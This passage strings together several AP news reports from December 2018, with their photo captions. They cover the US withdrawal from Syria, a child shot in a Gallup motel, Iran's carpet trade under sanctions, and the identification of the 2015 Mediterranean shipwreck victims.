resignation of Mattis, offered no information about how the withdrawal will happen or how long it will take, apparently because they don't know. Two officials speaking on condition of anonymity to discuss internal planning said Gen. Joseph Votel, head of U.S. Central Command, will submit a comprehensive withdrawal plan to top Pentagon officials in coming days. One official said military commanders are concerned that the pullout will leave their Syrian Kurdish allies in the lurch. Turkey, which considers the Kurds a security threat, has said it intends to send its army into Syria to clear them out. Until now, Turkey had to consider the presence of U.S. troops; once they are gone, a bloody clash seems inevitable. Sen. Jack Reed, D-R.I., left, and Sen. Lindsey Graham, R-S.C., members of the Senate Armed Services Committee, confer prior to a news conference to say they are disagreeing with President Donald Trump's sudden decision to pull all 2,000 U.S. troops out of Syria, at the Capitol in Washington, Thursday, Dec. 20, 2018. (AP Photo/J. Scott Applewhite) Sen. Lindsey Graham, R-S.C., said on Thursday that Mattis had told him he is worried about the Kurds and this is not the right time to leave. "I won't get into conversations between Mattis and the president, but I will tell you what he told me: He thought that the time was not right to leave," Graham said at a Capitol Hill news conference. Mattis believes that "the day we leave it's going to be open season on every Kurd who's supported us," he said. The Kurdish-led Syrian Democratic Forces, who have partnered with U.S. troops for years as the key force against IS militants, said in a strongly worded statement laced with bitterness that the fight against IS was at a "decisive" stage that requires even more support from the U.S.-led coalition. "The war against terrorism has not ended and (the Islamic State group) has not been defeated," the statement said. Graham said Mattis also expressed concern about the more than 700 Islamic State fighters being held by the SDF, saying they could be released and end up back on the battlefield. The militants still hold a string of villages and towns along the Euphrates River in eastern Syria, where they have resisted weeks of attacks by the U.S.-supported Syrian Democratic Forces to drive them out. The pocket is home to about 15,000 people, among them 2,000 IS fighters, according to U.S. military estimates. From the start of his administration, Trump had made no secret of his desire to pull out of Syria. But the timing of his announcement Wednesday remains a puzzle. His national security adviser, John Bolton, Mattis and other top leaders argued against the pullout, but were unable to change Trump's mind. Graham and Democratic Sens. Bob Menendez of New Jersey and Jack Reed of Rhode Island say they have growing support for a resolution urging the president to change his strategy. Graham, who usually is a strong Trump supporter, has savaged the pullout decision as wrong-headed, ill-timed and a gift to America's adversaries. "I can't explain this decision," Graham told reporters. "I'm not going to suggest motivations that are anything other than a frustrated president. But I can promise this: that if you follow through with this everything that happened in Iraq is going to happen in Syria. It's going to be worse, not better. It's going to make it harder to make the Taliban reconcile." His Taliban reference was to U.S. efforts to promote peace in Afghanistan. On Thursday, Trump defended his decision, saying on Twitter: "Getting out of Syria was no surprise. I've been campaigning on it for years, and six months ago, when I very publicly wanted to do it, I agreed to stay longer." He added: "Does the USA want to be the Policeman of the Middle East, getting NOTHING but spending precious lives and trillions of dollars protecting others who, in almost all cases, do not appreciate what we are doing? Do we want to be there forever?" Mattis and other senior administration officials have argued publicly for months that it would be in the best interests of the United States to remain in Syria long enough to ensure a lasting defeat of the Islamic State militants, who have been greatly diminished but not eliminated. Gen. Joseph Dunford, chairman of the Joint Chiefs of Staff, recently said the Pentagon estimates that 35,000 to 40,000 local security forces are needed to ensure stability in northeastern Syria. As of December, Dunford said, only about 20 percent of those forces have been trained. Secretary of State Mike Pompeo, who is known to have opposed leaving Syria now, defended the Trump decision Thursday. "The president made an enormous commitment to take down the caliphate, and that has been achieved," he said. "We now have the battle, it's a long-time battle, which is the counterterrorism battle, not only against ISIS, but against al-Qaeda and others ..., all the terrorist groups. President Trump remains just as committed today as he was yesterday and the day before." Trump pushed back against Graham in a tweet, writing: "So hard to believe that Lindsey Graham would be against saving soldier lives & billions of $$$. Why are we fighting for our enemy, Syria, by staying & killing ISIS for them Russia, Iran & other locals?" It's true that Syrian President Bashar Assad considers the Islamic State militants a threat, and that Assad has been supported by Iran and Russia in his civil war against a range of opposition fighters. The stated purpose of the U.S. military presence, however, was not to defend Assad but to defeat the Islamic State while pressing for a U.N.-brokered diplomatic solution to the civil war. ___ Associated Press writer Matthew Lee contributed to this report. GALLUP, N.M. (AP) - The screams of a teen caught the attention of Casey Franchot while eating at a Taco Bell. "My baby's been shot! My baby's been shot!" Shayanne Nelson yelled while holding an infant in a blood-soaked blanket. The 43-year-old former U.S. Army medic dropped his food and dashed across the busy the historic Route 66 highway in Gallup, New Mexico to a motel to investigate. He found what police described as a chaotic scene involving a distraught mother, a baby with a gunshot wound to the face, a confused 3-year-old boy and boyfriend trying to wipe away evidence. The scene also, a family member says, was the latest in a series of tragic episodes linked to a controlling boyfriend and a poor, Navajo teenage mom who hasn't fully recovered from the death of her fiance. Gallup police say detectives are still trying to connect the moments leading to a when a bullet from a .32 caliber revolver struck the face of an 8-month-old girl near her left ear and her left eye. The bullet, one officer said, left the infant deaf in one ear and may leave her blind in one eye. According to a police report, officers arrived at the Dec. 8 scene to find Franchot working to stop the baby from choking on her own blood. A 3-year-old boy stood on the passenger seat wearing only a diaper despite freezing temperatures outside. A frantic Nelson kept punching her car and crying. But who fired the gun remains a mystery. Nelson, 18, told police minutes after the shooting that she and her boyfriend, Tyrell Bitsilly, were in a shower at the Zia Motel when they heard a gunshot. She ran out to discover her daughter on the bed and bleeding from the face, she told police. This combination of Saturday, Dec. 8, 2018 booking photos providing by McKinley County Adult Detention Center shows Shayanne Nelson, left, and Tyrell Bitsilly, right. Nelson's 8-month-old girl is fighting for her life after police say her 3-year-old brother accidentally shot her in the face Saturday in a Gallup, N.M., motel room while Nelson and her boyfriend Bitsilly were in a shower. Nelson and Bitsilly face child abuse charges. (McKinley County Adult Detention Center via AP) Nelson said she believed her 3-year-old found a gun left by a prior occupant and accidentally shot his infant sister. But Franchot said as he worked to save the baby's life in the motel room, he saw Bitsilly, 21, wiping the gun with a towel. "I was also prepared to grab the baby and roll on the room for cover in case he started shooting," Franchot said. Franchot then jumped in a police vehicle to rush the baby to Gallup Indian Medical Center. On the way, the officer warned Franchot every time they approached a bump, Franchot said. Gallup Police Officer Darius Johnson told The Associated Press in an interview Wednesday that the 8-month-old girl now was being treated at an Albuquerque hospital and is in an induced coma. At the scene, Nelson and Bitsilly were arrested and charged with child abuse. Police also charged Bitsilly with tampering with evidence. However, court records show the December shooting wasn't the first time police linked Bitsilly to a shooting involving Nelson and her two children. In October, Gallup police arrested Bitsilly after authorities say he fired a weapon inside a car with Nelson, her mother and the two young kids. Bitsilly was charged with aggravated assault with deadly weapon, child abuse, shooting from a motor vehicle and tampering with evidence, court records said. "Shayanne was trying to break up with him," Shanna Nelson, 39, the sister of Shayanne, said in an interview. "He got mad and shot at the (car's) floorboard." After the October shooting, Shayanne promised to get a restraining order against Bitsilly, her sister said. The pair had been dating off and on since Shayanne's fiance - and the father of her two children - was killed in a car accident last year, Shanna Nelson said. He was often emotionally and physically abusive, she said. But the emotionally depleted Nelson, who regularly found herself with no place to stay, returned to Bitsilly for comfort and out of fear, according to her sister. During a court appearance Wednesday, Shayanne walked into court and waved to her sister and her niece. When McKinley County Magistrate Judge Robert Baca announced he was keeping her bond at $20,000, she threw her head back. "She doesn't have $2,000 to get out," her sister said. "None of us do." The 18-year-old stood motionless as lawyers agreed to postpone the preliminary hearing until Jan. 9 thanks to new video evidence. As police escorted Shayanne Nelson out, her tearful sister yelled, "We love you, Shayanne!" The young mother didn't look back. ___ Follow Russell Contreras on Twitter at http://twitter.com/russcontreras FILE -In this Dec. 12, 2018 file photo the Zia Motel in Gallup, N.M., sits on Historic Route 66. The medical condition of an 8-month-old girl who police say was shot in the face at the motel remains a mystery. The girl's mother Shayanne Nelson, says her 3-year-old son found a gun and accidentally shot the infant while Nelson and her boyfriend were in the shower. (Brandon N. Sanchez/Gallup Independent via AP, File) This Saturday, Dec. 8, 2018 booking photo providing by McKinley County Adult Detention Center shows Shayanne Nelson. Nelson's 8-month-old girl is fighting for her life after police say her 3-year-old brother accidentally shot her in the face Saturday in a Gallup, N.M., motel room while Nelson and her boyfriend Tyrell Bitsilly were in a shower. Nelson and Bitsilly face child abuse charges. (McKinley County Adult Detention Center via AP) This Saturday, Dec. 8, 2018 booking photo providing by McKinley County Adult Detention Center shows Tyrell Bitsilly, 21. His girlfriend Shayanne Nelson's 8-month-old girl is fighting for her life after police say her 3-year-old brother accidentally shot her in the face Saturday in a Gallup, N.M., motel room while Nelson and Bitsilly were in a shower. Nelson and Bitsilly face child abuse charges. (McKinley County Adult Detention Center via AP) KASHAN, Iran (AP) - As the Trump administration works to unravel Iran's 2015 nuclear deal with word powers, the producers of the country's famed Persian carpets fear they will lose vital markets. Before the U.S. withdrew from the deal and began restoring crippling sanctions earlier this year, the $425 million a year industry preserved an ancient tradition while providing much-needed income to Iranians as well as Afghan refugees, who create much of the more luxurious hand-woven pieces. Iran produces some 400 tons of carpets a year and exports 80 percent of them. Despite the decades of mutual hostility stemming from the 1979 Islamic Revolution, the United States is one of the biggest markets for Persian rugs, accounting for more than a quarter of all exports. But that is set to change as the U.S. imposes what it says are the toughest sanctions in history, aimed at persuading Iran to dramatically change its policies in the region, including its support for militant groups and its involvement in Syria and other conflicts. The impact of the renewed sanctions is being felt in the grand bazaar of Kashan, an ancient city in one of Iran's main carpet-weaving regions, known for its rich red, blue and yellow designs. On a recent day, many of the shops were closed and there were few shoppers. The sanctions have fueled an economic crisis in Iran, where the currency has plummeted in recent months, wiping out people's life savings and sending prices soaring. The few tourists who visit Iran cannot use foreign credit cards because of U.S. sanctions on banking, making big purchases difficult. In this Monday, Dec. 10, 2018 photo, two carpet weavers open their hand-woven carpet at the grand bazaar in Kashan, Iran. Before the Trump administration withdrew from Iran's nuclear deal with word powers and began restoring crippling sanctions earlier this year, the $425 million a year Persian carpet industry kept an ancient artistic tradition alive while providing much-needed income to Iranians as well as Afghan refugees, who create much of the more luxurious hand-woven pieces. (AP Photo/Vahid Salemi) "I would spend more if I could pay with my credit card," said Fabian Simon, a French tourist visiting the bazaar. "I took a certain amount of cash, and when it is finished, it is finished." Mahmoud Morshedi, a carpet seller who has worked in the industry for more than four decades, said the production of hand-woven rugs was already suffering from the growing popularity of cheaper machine-made carpets. His company only produces around 20 hand-woven carpets a year, down from 100 in the 1990s, when they filled orders from local exporters, Tehran businessmen and wealthy buyers from Gulf countries. "They are not coming anymore," he said. A small, 1.5 square meter (16 square foot) rug can take between 18 months and four years to make, and sells for up to $6,000. Iran is barred from exporting anything directly to the United States, and traders can only ship through third countries if they conceal the origin of the product. Javad Esfahanian, whose family runs one of the oldest carpet-making businesses in the country, said the industry is only able to survive because of cheap labor from Afghan refugees - mainly women - who have the rare skills required for luxury weaving and who will work for as little as $1.50 per day. He estimates that some 2 million people work in the industry and another 8 million rely on their income. But the worsening economic conditions in Iran are already pushing Afghan refugees to leave, with some 350,000 returning home in just the first six months of this year, according to the U.N. agency for migration. "If these Afghan weavers leave Iran, I am certain that production of hand-woven carpets will come to an end. I have no doubt," Esfahanian said. Iranian exports boomed after the landmark nuclear agreement went into effect in 2016, lifting international sanctions in return for Iran curbing its uranium enrichment. U.N. inspectors say Iran is complying with the agreement, and European countries are trying to salvage the deal, saying it provides the best means for preventing Tehran from developing nuclear weapons. President Donald Trump was a harsh critic of the agreement, saying it was too generous and did nothing to restrain Iran's support for militant groups like the Lebanese Hezbollah and the Palestinian Hamas or its meddling in Syria, Iraq and Yemen - none of which was part of the deal. His administration has demanded Iran overhaul its regional policies in return for the lifting of sanctions, while Tehran appears to be waiting Trump out, hoping a future U.S. administration returns to the nuclear deal. Mohammad Esfahanian, Javad's 86-year-old cousin and the head of the Kashan Carpet Union, blamed his own country's leaders for the crisis, saying "when you start cursing others in the world, they become your enemy." "Politics and economy are not separate from each other. If 10 stores sold the same good, which one would you buy it from? The one you have a better relationship with and the one that has a better behavior, of course." In this Monday, Dec. 10, 2018 photo, a worker carries a carpet at the grand bazaar in Kashan, Iran. As the United States works to unravel Iran's nuclear deal with word powers, the producers of its famed Persian carpets fear they will lose vital markets. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018, photo, steam rises from a vat of dye as a batch of thread is prepared to be used for hand-woven carpets, in a workshop at the grand bazaar in the ancient city Kashan, Iran. As the United States works to unravel Iran's nuclear deal with word powers, the producers of its famed Persian carpets fear they will lose vital markets. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018 photo, senior carpet designer, Ali Sane'ie sketches a carpet pattern in his workshop at the grand bazaar in the ancient city Kashan, Iran. As the United States works to unravel Iran's nuclear deal with word powers, the producers of its famed Persian carpets fear they will lose vital markets. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018, photo, a woman weaves a Persian carpets at her home in Kashan, Iran. As the United States works to unravel Iran's nuclear deal with word powers, the producers of its famed Persian carpets fear they will lose vital markets. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018 photo, senior carpet designer, Ali Sane'ie sketches a carpet pattern in his workshop at the grand bazaar in the ancient city Kashan, Iran. As the United States works to unravel Iran's nuclear deal with word powers, the producers of its famed Persian carpets fear they will lose vital markets. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018 photo, an Iranian dyer adjusts batches of thread for hand-woven carpets, that has been dyed and left to dry in the sun, at the grand bazaar in Kashan, Iran. Before the Trump administration withdrew from Iran's nuclear deal with word powers and began restoring crippling sanctions earlier this year, the $425 million a year Persian carpet industry kept an ancient artistic tradition alive while providing much-needed income to Iranians as well as Afghan refugees, who create much of the more luxurious hand-woven pieces. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018, photo, a woman weaves a Persian carpets at her home in Kashan, Iran. Before the Trump administration withdrew from Iran's nuclear deal with word powers and began restoring crippling sanctions earlier this year, the $425 million a year Persian carpet industry kept an ancient artistic tradition alive while providing much-needed income to Iranians as well as Afghan refugees, who create much of the more luxurious hand-woven pieces. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018, photo, a worker puts the finishing touch to a hand-woven carpet at a workshop at the grand bazaar in Kashan, Iran. Before the Trump administration withdrew from Iran's nuclear deal with word powers and began restoring crippling sanctions earlier this year, the $425 million a year Persian carpet industry kept an ancient artistic tradition alive while providing much-needed income to Iranians as well as Afghan refugees, who create much of the more luxurious hand-woven pieces. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018 photo, costumers inspect a hand-woven carpet at the grand bazaar in Kashan, Iran. Before the Trump administration withdrew from Iran's nuclear deal with word powers and began restoring crippling sanctions earlier this year, the $425 million a year Persian carpet industry kept an ancient artistic tradition alive while providing much-needed income to Iranians as well as Afghan refugees, who create much of the more luxurious hand-woven pieces. (AP Photo/Vahid Salemi) In this Monday, Dec. 10, 2018 photo, Iranian carpet seller Mahmoud Morshedi displays carpets at his shop at the grand bazaar in Kashan, Iran. Before the Trump administration withdrew from the nuclear deal with world powers and began restoring crippling sanctions earlier this year, the $425 million a year Persian carpet industry kept an ancient artistic tradition alive while providing much-needed income to Iranians as well as Afghan refugees, who create much of the more luxurious hand-woven pieces. (AP Photo/Vahid Salemi) ROME (AP) - Before their lives ended in an underwater deathtrap, before they lined up 100 to a row on a Libyan beach to board a boat with no anchor, the young men from the parched villages of the Sahel had names. Two forensic investigators, one crisscrossing Africa and another in a university laboratory in Italy, are on a quest against the odds to keep Italy's promise to find those names. They are tracing the identities of the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015, in the Mediterranean's deadliest shipwreck in living memory. The pledge was made before Europe turned against migrants, and it just got even harder to keep. Nearing their very first formal identification, one of the investigators made a devastating discovery this month: The vessel carried not 800 people, as initially believed, but nearly 1,100. Suddenly, there are hundreds more passengers to identify, adding to more than three years of painstaking work that had already pushed the boundaries of forensic science and tested the limits of both the Peruvian investigator with expertise in human rights violations and the Italian pathologist volunteering on the project. The story of the fishing boat known as the peschereccio and its passengers reflects how migrants can simply vanish worldwide, sometimes without a trace. At a time when global migration is at an all-time high, The Associated Press has found in an exclusive tally that at least 62,284 migrants have died or disappeared worldwide since 2014. That's more than double the only official attempt at a toll, by the U.N.'s International Organization for Migration . But it is also a story of how difficult it is to document these dead and missing, especially at a time when there is no longer a political will to support survivors, let alone figure out how many migrants died and who they were. Back in 2015, then-Prime Minister Matteo Renzi committed Italy to giving names back to those who perished in the April 18 shipwreck. There was a "short period of sunlight," when Italian agencies worked together to recover the bodies and start the process of identifying them, according to Cristina Cattaneo, the Italian forensic investigator. FILE - In this Oct. 8, 2016 file photo, the hull of a fishing boat that capsized off the coast of Libya sits outside, at the NATO base in the Sicilian town of Melili, Italy. The story of the fishing boat known as the "peschereccio" and its passengers reflects how migrants can simply vanish worldwide, sometimes without a trace. (AP Photo/Salvatore Cavalli, File) "It was a magical moment," she said. Governments have since slashed funding; rescue ships have drastically cut back operations in the Mediterranean under pressure. Many Italians question the need to identify the bodies when they already have "a tomb at the bottom of the sea," said Roberto Di Bartolo, the engineer who led firefighters in the recovery operation. "But if this boat had not been full of people from Africa and instead they came from the United States, Australia or Japan," he said, "we would have done everything to get the bodies out and find their identity, to give names to those people, because they were people." ___ The migrants on the peschereccio started their journeys in some 20 countries, from Bangladesh to the western tip of Mauritania, according to information from the two investigators, published accounts of survivors, Italian government documents, and families who fear their loved ones were among the passengers. Many came from Africa's Sahel region, where Senegal, Mali and Mauritania meet, walking northward or hitching rides in trucks. Cheikh Fofana's son called around that time to say he was leaving soon for Europe. Fofana warned him to wait for a big boat that might withstand the force of the sea. Surviving a vast ocean is nothing like escaping a tree-lined river, he said. "I told him not to take a makeshift boat, it's very dangerous, it's risky because the sea has no branches," Fofana said. His son, Tidiane responded he had waited too long to cross already, but promised, "I'll try to take the big boat." That was the last time they spoke. He vanished along with two other young men from the town. It is not known if they were among the 12 rows of men, 100 to a row, who lined up on the beach the day before the doomed peschereccio left from Libya. At the last minute, a truck arrived filled with around 200 men from East Africa. They had paid a premium and had priority boarding. Not everyone on the beach would fit on the peschereccio, although the smugglers managed to slip a few extra on board. The overcrowded boat made it 77 nautical miles off the coast of Libya, when it started to founder. It collided with a freighter that was trying to come to its rescue and sank, taking nearly all its human cargo into the depths. Twenty-four bodies were fished out of the water and dropped off in nearby Malta. But Malta wouldn't accept the 28 survivors, who were then taken by the Italian coast guard to the Sicilian port city of Catania. The boat pulled up to the dock in the middle of the night, where a throng of volunteers tossed flowers at it and handed the survivors cellophane-wrapped care packages. Over the next few days, the handful of survivors called home and word of the disaster spread like dust through the Sahel. Around this time, Fofana called his son's phone again. A stranger answered and told him Tidiane had left for Italy. The family visited several spiritual leaders, known as marabouts, hoping to learn Tidiane's fate. One said only that the son was in a "state of obscurity." "I know that if he is dead, there's nothing more I can do, by the will of God. But let me know, is he alive? Is he dead?" Fofana said, his lined face twisting in anguish. "This is the doubt that troubles me." ___ It took a year to raise the hull from the sea floor and drag it to Italy, at a cost of 9.5 million euros. Even before they rigged the pulley to the fragile frame of the boat, divers working 370 meters (1,214 feet) underwater placed a wreath of flowers on the waterlogged deck. The resurfacing operation took 20 hours - men leading it from the control room applauded when it budged from the seafloor. The navy's video aired on national television. The fishing boat dangled from an enormous sling as the water drained away, reeking of death in dry dock at Melilli naval port in Sicily - the Italian island the migrants had hoped to reach when they set out. That's when Italy's top pathologist, Cattaneo, arrived. So terrified of flying that she chose a 13-hour train and ferry trip to Sicily over a 90-minute flight, she was fearless when faced directly with death. As the firefighters donned hazmat suits against possible biological hazard, Cattaneo wore a T-shirt and jeans, her blond head bobbing amid the wreckage and bodies, a pair of latex gloves her only protection. Her confidence calmed them. "I found before me a carpet of human silhouettes that stretched out across the area of the hold ... almost all face down, some in a fetal position, many swollen with putrefaction, made human by their hair, gloves, sweaters and the shoes they had on," Cattaneo wrote in her book published earlier this month, "Shipwrecked and Nameless." The bodies were crammed five to a square meter (yard) - "like a slave ship," said Di Bartolo, the firefighter engineer. "Out of respect, no firefighter ever stepped on a body," Di Bartolo said. "We had to lie across them to pull them up, but we never walked on them." At Cattaneo's tent-lab, 50 pathologists and forensic investigators from 12 Italian universities worked in rotations, stretching the bounds of science to extract and sequence DNA from bodies or fragments that had been submerged in seawater for a year. With gloved hands, pathologists sealed plastic baggies of belongings, matching numbers with body bags as best they could. Other workers sealed metal coffins with a blowtorch. As Cattaneo counted bodies - 500 of them by the September 2016 - legal proceedings moved forward in the case. On Dec. 13, the Tunisian captain of the vessel was convicted of manslaughter and trafficking and sentenced to 18 years in prison. His Syrian mate got a 5-year term. The peschereccio lacked an anchor, the "captain" had no idea what he was doing, and the vessel was too rickety to withstand the waves or the hundreds of men on board. UN and EU investigations later revealed that the head of the operation was a Libyan trafficker nicknamed "The Doctor," believed to have sent 45,000 migrants to Europe in 2015 alone, and infamous for his brutality and the flimsiness of his boats. He's never been apprehended. Also in December, Renzi - the prime minister who had kept his vow to retrieve the boat with remains - lost the confidence of Italian voters and resigned as Italy's leader. His departure contributed to the ascent of the fiercely anti-migrant Matteo Salvini. As 2016 closed, Mediterranean migrant deaths peaked at more than 5,100, according to the IOM tally. In the end, Italy counted 547 victims of the shipwreck plus 325 skulls that Cattaneo keeps at her lab for study. In her book, she detailed for the first time her suspicion that more than 1,000 people had died on the ship, relying upon accounts from survivors and what she saw in the hull. The final body belonged to a Gambian, PM390345. In his wallet he had a passport, a library card, a student card and a blood donor certificate. In the pockets of his brown jacket he had some fig seeds. ___ It was time to find the families. For that, Italy turned to Jose Pablo Baraybar, the Peruvian forensic anthropologist from the International Committee of the Red Cross. An intense man with enormous eyes magnified by button-lensed glasses, Baraybar investigated human rights abuses in his home country as well as Haiti, Rwanda and the Balkans. He started with the names of 27 young men from Mauritania whose families had reported them missing around April 2015 to the Red Cross. That is how he found himself in May this year in the village of Melga along the desiccated bed of the Senegal River, armed with swabs for DNA samples and a whiteboard marker. Seated on the ground in the heat of the day, meeting with families who wanted to learn the fate of their sons, Baraybar had no easy answers. "You cannot just tell them a story and you cannot misrepresent who you are. You're not there to bring them a body bag or give them money," said Baraybar. Men and women allowed Red Cross staff to gently swab the inside of their cheeks, and entrusted Baraybar with still more names as they sipped water beneath huts with no walls and just fabric for a roof. The 27 names led to 40 more in Mauritania to try to match against the DNA samples sequenced by Cattaneo in Italy. With the information he'd gathered, Baraybar was able to chart connections among the young men who headed north for a better life. He uncovered the names of relatives, friends, acquaintances and even traffickers from the Sahel as he sought an algorithm to predict where victims might have lived - and who might have been on the boat. That led him to his most recent trip to Senegal, where he confirmed crucial details about how the boat was loaded. Three of the rows of 100 migrants each waiting on the beach didn't make it on the boat, because a truck arrived carrying around 200 migrants from East Africa who had paid a premium to board first. And so Baraybar knows that somewhere in East Africa the families of dozens of men who disappeared in 2015 must be wondering about their fate. "Families do matter," he said. "And not knowing kills." Mariama Konte knows too well the price families pay when loved ones disappear in migration. Her father-in-law died of grief after her husband vanished around the same time as six other young men from Dougue. They last heard from them around April 2015, and the families fear the young men headed for Italy were on the peschereccio. In Dougue, on dirt roads so empty that donkeys can rest in the street at midday without fear of a car, it's easy to spot the families whose sons work in Europe. They're the ones with the concrete houses, the metal rooftops and prominent satellite dishes. They have the largest herds of cattle and motorcycles, and their children are in school. Konte, who married Abdrahamane when she was 12 and he was 21, is living the consequences of the family's decision in November to mourn him after nearly four years of waiting. Friends and neighbors told them they would feel better if they went ahead with the ceremony, as five other families of the missing already had. So a few weeks ago, the family sacrificed a sheep, and she put on a lemon-yellow veil that marks her as a widow. She will wear the same clothes for four months and 10 days, washing only on Fridays. She will stay inside the family's compound and eat her meals alone. Then, by tradition, she will almost certainly marry one of her husband's brothers. Even now, she cannot quite accept that her husband is dead. "Each night I pray for him. I pray to God that he will find my husband," she said. "To find another husband is not hard but to find one like him is difficult." ___ The peschereccio still sits with holes in its sides where the bodies were pulled out. Italy's government refused to pay for Cattaneo's plan to move it to Milan. In 2018, the number of migrants arriving illegally in Europe is set to reach its lowest level in five years; the number of dead is well below the levels seen when IOM started counting. Salvini, who is now Italy's interior minister and oversees the missing person's office, was uninterested in whether Renzi's promise had been kept. He credits the new government's hardline policies against rescue for deterring deaths this year. "You do not need a scientist to figure it out, that the fewer people depart, the fewer people die," he told The Associated Press with a shrug. Baraybar and Cattaneo say they are close to their first identification - a single name among nearly 1,100 dead in a single shipwreck - in a year that saw at least 211 boats sink into the Mediterranean. He describes it as nearly a "mission impossible." And then he presses onward, searching for families who have more questions than answers. His eyes widening almost past the edges of the round frames, he asks: "What kind of thing can you give back to these people that have lost everything?" Only the names of the missing. ___ Lori Hinnant reported from Paris, Trisha Thomas from Rome; and Krista Larson from Goudiry and Dougue, Senegal. FILE - In this Oct. 8, 2016 file photo, Cristina Cattaneo, right, and her team collect post-mortem data from shipwreck victims to obtain information for a future identification at the NATO base in the Sicilian town of Melilli, Italy. Cattaneo is one of two forensic investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. (AP Photo/Salvatore Cavalli, File) FILE - In this Sept. 19, 2016 file photo, Cristina Cattaneo checks victims' personal belongings in a lab in Milan, Italy. Cattaneo is one of two forensic investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. (AP Photo/Antonio Calanni, File) FILE - In this Oct. 8, 2016 file photo, Cristina Cattaneo, center, and members of her team collect post-mortem data from shipwreck victims to obtain information for identification at the NATO base in the Sicilian town of Melilli, Italy. Cattaneo is one of two forensic investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. (AP Photo/Salvatore Cavalli, File) FILE - In this Oct. 8, 2016 file photo, a woman walks past rows of coffins at the NATO base in the Sicilian town of Melilli, Italy where forensic investigator Cristina Cattaneo, is one of two investigators trying to keep Italy's promise to trace the identities of all the migrants killed when an overloaded fishing boat went down off the coast of Libya on April 18, 2015. The vessel carried not 800 people, as initially believed, but more than 1,000. (AP Photo/Salvatore Cavalli, File) In this April 5, 2018 photo provided by the International Commission of the Red Cross, Jose Pablo Baraybar, forensic pathologist for the ICRC, speaks to residents of the village Melga, Mauritania, who believe they lost relatives in the April 18, 2015 shipwreck off the coast of Italy. explain their mission to gather ante-mortem data and collect DNA samples. "You cannot just tell them a story and you cannot misrepresent who you are. You're not there to bring them a body bag or give them money," said Baraybar. (ICRC via AP) CORRECTS TO BARAYBAR; NOT BARYABAR - In this Nov. 20, 2018 photo, Jose Pablo Baraybar, a forensic anthropologist from the International Committee of the Red Cross speaks during an interview in Paris. Baraybar is one of two forensic investigators leading the quest to name the victims of the Mediterranean's deadliest migrant shipwreck which occurred in April 2015. The investigation has led him to Africa, and the discovery that the shipwreck may have killed well over 1,000 people, rather than 800 as previously believed. (AP Photo/Thibault Camus) In this April 2018 photo provided by the International Commission of the Red Cross, forensic consultant Franco Mora Felix takes a DNA sample in the village of Boki Diame, Mauritania, from the relative of a missing migrant believed to have died in April 18, 2015 shipwreck in the Mediterranean Sea. (ICRC via AP) In this Nov. 25, 2018 photo, people walk down a street at dusk in Goudiry, Senegal. Many of the victims of the 2015 shipwreck are believed to have come from the Tambacounda region of Senegal, where economic prospects are few and many toil in agriculture despite growing desertification and a lack of modern farming equipment. (AP Photo/Felipe Dana) In this Nov. 26, 2018 photo, Mariama Konte, 20, stands near her home in a village near Goudiry, Senegal. Konte, who married Abdrahamane when she was 12 and he was 21, is living the consequences of the family's decision in November to mourn him after nearly four years of waiting. Friends and neighbors told them they would feel better if they went ahead with the ceremony, as five other families from the same shipwreck already had. (AP Photo/Felipe Dana) In this Nov. 24, 2018 photo, Mariama Konte, 20, sits with her daughter, Maimouna, 7, and her son, Ibrahima, 4, inside their home in a village near Goudiry, Senegal. Konte, who married Abdrahamane when she was 12 and he was 21, is living the consequences of the family's decision in November to mourn him after nearly four years of waiting. Friends and neighbors told them they would feel better if they went ahead with the ceremony, as five other families from the same shipwreck already had. (AP Photo/Felipe Dana) In this Nov. 25, 2018 photo, Cheikh Fofana pushes his bicycle after working on a peanut field as the sun sets in Goudiry, Senegal. Fofana grieves for his son, Tidiane, even while refusing to officially acknowledge he is dead. Tidiane was one of 18 children; though the only one who noticed when his aging father or widowed aunt needed help. It was Tidiane who wanted to reach Europe to earn enough so that Fofana would never again have to ride his bicycle to the family's fields to work. (AP Photo/Felipe Dana) In this Nov. 26, 2018 photo, Cheikh Fofana poses for a picture before an interview in Goudiry, Senegal. Fofana grieves his son, Tidiane's absence, even while refusing to officially acknowledge he is dead. Tidiane was one of 18 children; though the only one who noticed when his aging father or widowed aunt needed help. It was Tidiane who wanted to reach Europe to earn enough so that Fofana would never again have to ride his bicycle to the family's fields to work. (AP Photo/Felipe Dana) ROME (AP) - The quest to trace the identities of all the victims of the Mediterranean's deadliest migrant shipwreck has instead revealed that the sinking was far deadlier than anyone knew. One of the two investigators on the project, tracing families and survivors in Africa, has confirmed that the boat that sank on April 18, 2015 carried not 800 migrants as previously believed, but as many as 1,100. That up to 300 people could vanish reflects the hidden toll of migration. At a time when global migration is at a record high, The Associated Press has found in an exclusive tally that at least 62,284 migrants have died or disappeared worldwide since 2014. That's more than double the only official attempt at a toll, by the U.N.'s International Organization for Migration . The discovery also makes it even harder for the investigators to keep Italy's promise to name all the dead, especially at a time when Europe has turned against migrants. After the boat sank, then-Prime Minister Matteo Renzi committed Italy to giving the migrants from the April 2015 shipwreck their identities back. It was a "short period of sunlight," said Cristina Cattaneo, Italy's top forensic investigator. The political climate has since shifted in Europe. In Italy, as elsewhere, there is no longer a will to support survivors, let alone migrants who have died. FILE - In this Saturday, Oct. 8, 2016 file photo, the wrecked fishing boat that capsized and sunk on April 18, 2015 off the coast of Libya, lies outside a NATO base in the Sicilian town of Mellili, Italy. One of the two investigators on the project tracing families and survivors in Africa, has confirmed that the boat that sank on April 18, 2015 carried not 800 migrants as previously believed, but as many as 1,100. (AP Photo/Salvatore Cavalli, File) Cattaneo works on the case without pay at her university lab in Milan. Her counterpart, Jose Pablo Baraybar from the International Committee of the Red Cross, gathers DNA from possible relatives in Africa. Together, they are piecing together exactly who died on what many Italians now call simply the peschereccio, the fishing boat. The migrants on the peschereccio started their journeys in some 20 